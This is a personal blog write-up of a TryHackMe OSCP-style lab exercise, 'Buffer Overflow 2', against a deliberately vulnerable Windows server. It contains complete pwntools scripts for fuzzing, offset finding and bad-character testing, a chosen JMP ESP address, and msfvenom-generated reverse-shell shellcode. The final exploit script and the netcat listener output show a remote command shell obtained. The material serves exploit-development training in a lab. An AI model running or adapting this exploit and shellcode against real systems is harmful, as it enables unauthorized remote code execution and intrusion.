u915

Daniel Cano MerchΓ‘n - Hacking & Tech

Tryhackme Buffer Overflow 2 OSCP style

Second post about the bufferoverflow series on tryhackme. Writeup Buffer Overflow 2 OSCP style. This is a practice based on the firt stack overflow 1 of this serie.

Note

Because this post is about practice and repeat I will be (more) direct to the action and I will use a simple post estructure. These are just personal notes and are resumed.

The first bufferoverflow can be found here:

https://u915.net/posts/2021/06/tryhackme-buffer-overflow-1-oscp-style/

Environment

I used the windows 7 VM 32bits with inmunity debugger inside the tryhackme room.

Windows Firewall and Defender are disabled.

Connection

Remote connection to the machine:

xfreerdp /u:admin /p:password /cert:ignore /v:10.10.πŸ˜„ /workarea

Basic test

nc 10.10.πŸ˜„ 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT

Fuzz

Fuzzing the command OVERFLOW2 [value]

#!/bin/python3

from pwn import *

HOST = "10.10.πŸ˜„"
PORT = "1337"
LIMIT = 60
CHARS_FUZZ = 50

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

for x in range (1,LIMIT):
	print("[+] SENDING "+str(CHARS_FUZZ*x)+" CHARS, COUNTER:"+str(x))
	r.sendline("OVERFLOW2 "+"A"*CHARS_FUZZ*x)
	if (r.recvline(timeout=1))==b'':
		print("[!] KO")
		r.close()
		break

Trace

python3 fuzz1.py
[+] Opening connection to 10.10.πŸ˜„ on port 1337: Done
b'Welcome to OSCP Vulnerable Server! Enter HELP for help.\n'
[+] SENDING 50 CHARS, COUNTER:1
[+] SENDING 100 CHARS, COUNTER:2
[+] SENDING 150 CHARS, COUNTER:3
[+] SENDING 200 CHARS, COUNTER:4
[+] SENDING 250 CHARS, COUNTER:5
[+] SENDING 300 CHARS, COUNTER:6
[+] SENDING 350 CHARS, COUNTER:7
[+] SENDING 400 CHARS, COUNTER:8
[+] SENDING 450 CHARS, COUNTER:9
[+] SENDING 500 CHARS, COUNTER:10
[+] SENDING 550 CHARS, COUNTER:11
[+] SENDING 600 CHARS, COUNTER:12
[+] SENDING 650 CHARS, COUNTER:13
[!] KO
[*] Closed connection to 10.10.πŸ˜„ port 1337

The server crashes between the range 600 and 650 chars

Finding the exact chars needed

To check how many characters are required to crash the server I used msfpattern with a 2000 characters sample:

msf-pattern_create -l 650 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av

Using nc to send the 2000 chars pattern generated

nc 10.10.πŸ˜„ 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
OVERFLOW2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av

The EIP value is 76413176

msf-pattern_offset -l 650 -q 76413176
[*] Exact match at offset 634

So the exact offset is 634

Finding JMP ESP

/usr/bin/msf-nasm_shell 
nasm > jmp esp
00000000  FFE4              jmp esp

Using mona inside Inmunity debugger to find a memory address without protection.

!mona modules
!mona find -s "\xff\xe4"

Selected adress:

0x76FC050F

To little endian:

76FC050F -> esp = “\x0f\x05\xfc\x76”

Finding Bad chars

Mona working directory:

!mona config -set workingfolder C:\Users\admin\Desktop\%p

Setup bytearray

!mona bytearray -cpb \x00

Generic char list, without \x00:

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Final bad chars script:

#!/bin/python3

from pwn import *

HOST = "10.10.πŸ˜„"
PORT = "1337"
offset = 634
fuzz = "A"*offset

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3"
"\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

print("[+] SENDING "+str(offset)+" CHARS + BADCHARS")
r.sendline("OVERFLOW2 "+str(fuzz)+"BBBB"+badchars)
if (r.recvline(timeout=1))==b'':
	print("[!] KO")
	r.close()

Final bad chars are:

!mona bytearray -cpb \x00\x23\x3c\x83\xba
!mona compare -a 0194FA30 -f C:\Users\admin\Desktop\_no_name\bytearray.bin

Compare worked. Note: Do not forget to change the esp memory address in each iteration (parameter -a).

Payload

Payload generated with msfvenom

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.9.πŸ˜„ LPORT=4433 -f c -v shellcode -b '\x00\x23\x3c\x83\xba' EXITFUNC=thread 
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=21, char=0x83)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=112, char=0x23)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=17, char=0x83)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of c file: 1514 bytes
unsigned char shellcode[] = 
"\xfc\xbb\xf7\x28\x2c\x3b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x0b\xc0\xae\x3b\xf3"
"\x11\xcf\xb2\x16\x20\xcf\xa1\x53\x13\xff\xa2\x31\x98\x74\xe6"
"\xa1\x2b\xf8\x2f\xc6\x9c\xb7\x09\xe9\x1d\xeb\x6a\x68\x9e\xf6"
"\xbe\x4a\x9f\x38\xb3\x8b\xd8\x25\x3e\xd9\xb1\x22\xed\xcd\xb6"
"\x7f\x2e\x66\x84\x6e\x36\x9b\x5d\x90\x17\x0a\xd5\xcb\xb7\xad"
"\x3a\x60\xfe\xb5\x5f\x4d\x48\x4e\xab\x39\x4b\x86\xe5\xc2\xe0"
"\xe7\xc9\x30\xf8\x20\xed\xaa\x8f\x58\x0d\x56\x88\x9f\x6f\x8c"
"\x1d\x3b\xd7\x47\x85\xe7\xe9\x84\x50\x6c\xe5\x61\x16\x2a\xea"
"\x74\xfb\x41\x16\xfc\xfa\x85\x9e\x46\xd9\x01\xfa\x1d\x40\x10"
"\xa6\xf0\x7d\x42\x09\xac\xdb\x09\xa4\xb9\x51\x50\xa1\x0e\x58"
"\x6a\x31\x19\xeb\x19\x03\x86\x47\xb5\x2f\x4f\x4e\x42\x4f\x7a"
"\x36\xdc\xae\x85\x47\xf5\x74\xd1\x17\x6d\x5c\x5a\xfc\x6d\x61"
"\x8f\x53\x3d\xcd\x60\x14\xed\xad\xd0\xfc\xe7\x21\x0e\x1c\x08"
"\xe8\x27\xb7\xf3\x7b\x42\x41\xff\xdb\x3a\x53\xff\x0a\xea\xda"
"\x19\x46\x1c\x8b\xb2\xff\x85\x96\x48\x61\x49\x0d\x35\xa1\xc1"
"\xa2\xca\x6c\x22\xce\xd8\x19\xc2\x85\x82\x8c\xdd\x33\xaa\x53"
"\x4f\xd8\x2a\x1d\x6c\x77\x7d\x4a\x42\x8e\xeb\x66\xfd\x38\x09"
"\x7b\x9b\x03\x89\xa0\x58\x8d\x10\x24\xe4\xa9\x02\xf0\xe5\xf5"
"\x76\xac\xb3\xa3\x20\x0a\x6a\x02\x9a\xc4\xc1\xcc\x4a\x90\x29"
"\xcf\x0c\x9d\x67\xb9\xf0\x2c\xde\xfc\x0f\x80\xb6\x08\x68\xfc"
"\x26\xf6\xa3\x44\x46\x15\x61\xb1\xef\x80\xe0\x78\x72\x33\xdf"
"\xbf\x8b\xb0\xd5\x3f\x68\xa8\x9c\x3a\x34\x6e\x4d\x37\x25\x1b"
"\x71\xe4\x46\x0e\x71\x0a\xb9\xb1";

Final script and reverse shell

The final script looks like this:

#!/bin/python3

from pwn import *

HOST = "10.10.πŸ˜„"
PORT = "1337"
offset = 634
esp = "\x0f\x05\xfc\x76"

nop = "\x90"*20

shellcode = ("\xfc\xbb\xf7\x28\x2c\x3b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x0b\xc0\xae\x3b\xf3"
"\x11\xcf\xb2\x16\x20\xcf\xa1\x53\x13\xff\xa2\x31\x98\x74\xe6"
"\xa1\x2b\xf8\x2f\xc6\x9c\xb7\x09\xe9\x1d\xeb\x6a\x68\x9e\xf6"
"\xbe\x4a\x9f\x38\xb3\x8b\xd8\x25\x3e\xd9\xb1\x22\xed\xcd\xb6"
"\x7f\x2e\x66\x84\x6e\x36\x9b\x5d\x90\x17\x0a\xd5\xcb\xb7\xad"
"\x3a\x60\xfe\xb5\x5f\x4d\x48\x4e\xab\x39\x4b\x86\xe5\xc2\xe0"
"\xe7\xc9\x30\xf8\x20\xed\xaa\x8f\x58\x0d\x56\x88\x9f\x6f\x8c"
"\x1d\x3b\xd7\x47\x85\xe7\xe9\x84\x50\x6c\xe5\x61\x16\x2a\xea"
"\x74\xfb\x41\x16\xfc\xfa\x85\x9e\x46\xd9\x01\xfa\x1d\x40\x10"
"\xa6\xf0\x7d\x42\x09\xac\xdb\x09\xa4\xb9\x51\x50\xa1\x0e\x58"
"\x6a\x31\x19\xeb\x19\x03\x86\x47\xb5\x2f\x4f\x4e\x42\x4f\x7a"
"\x36\xdc\xae\x85\x47\xf5\x74\xd1\x17\x6d\x5c\x5a\xfc\x6d\x61"
"\x8f\x53\x3d\xcd\x60\x14\xed\xad\xd0\xfc\xe7\x21\x0e\x1c\x08"
"\xe8\x27\xb7\xf3\x7b\x42\x41\xff\xdb\x3a\x53\xff\x0a\xea\xda"
"\x19\x46\x1c\x8b\xb2\xff\x85\x96\x48\x61\x49\x0d\x35\xa1\xc1"
"\xa2\xca\x6c\x22\xce\xd8\x19\xc2\x85\x82\x8c\xdd\x33\xaa\x53"
"\x4f\xd8\x2a\x1d\x6c\x77\x7d\x4a\x42\x8e\xeb\x66\xfd\x38\x09"
"\x7b\x9b\x03\x89\xa0\x58\x8d\x10\x24\xe4\xa9\x02\xf0\xe5\xf5"
"\x76\xac\xb3\xa3\x20\x0a\x6a\x02\x9a\xc4\xc1\xcc\x4a\x90\x29"
"\xcf\x0c\x9d\x67\xb9\xf0\x2c\xde\xfc\x0f\x80\xb6\x08\x68\xfc"
"\x26\xf6\xa3\x44\x46\x15\x61\xb1\xef\x80\xe0\x78\x72\x33\xdf"
"\xbf\x8b\xb0\xd5\x3f\x68\xa8\x9c\x3a\x34\x6e\x4d\x37\x25\x1b"
"\x71\xe4\x46\x0e\x71\x0a\xb9\xb1")

r = remote(HOST,PORT)
print(r.recvline(timeout=1))

print("[+] SENDING PAYLOAD")
payload = "A"*offset+esp+nop+str(shellcode)
r.sendline("OVERFLOW2 "+payload)

if (r.recvline(timeout=1))==b'':
	print("[!] KO")
	r.close()

There are 20 Nop(\x90) operations to prevent race write operations.

Finally setting up a nc listener and triggering the buffer overflow:

nc -lvp 4433                       
listening on [any] 4433 ...
10.10.πŸ˜„: inverse host lookup failed: Unknown host
connect to [10.9.πŸ˜„] from (UNKNOWN) [10.10.πŸ˜„] 49340
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin



Thanks for reading!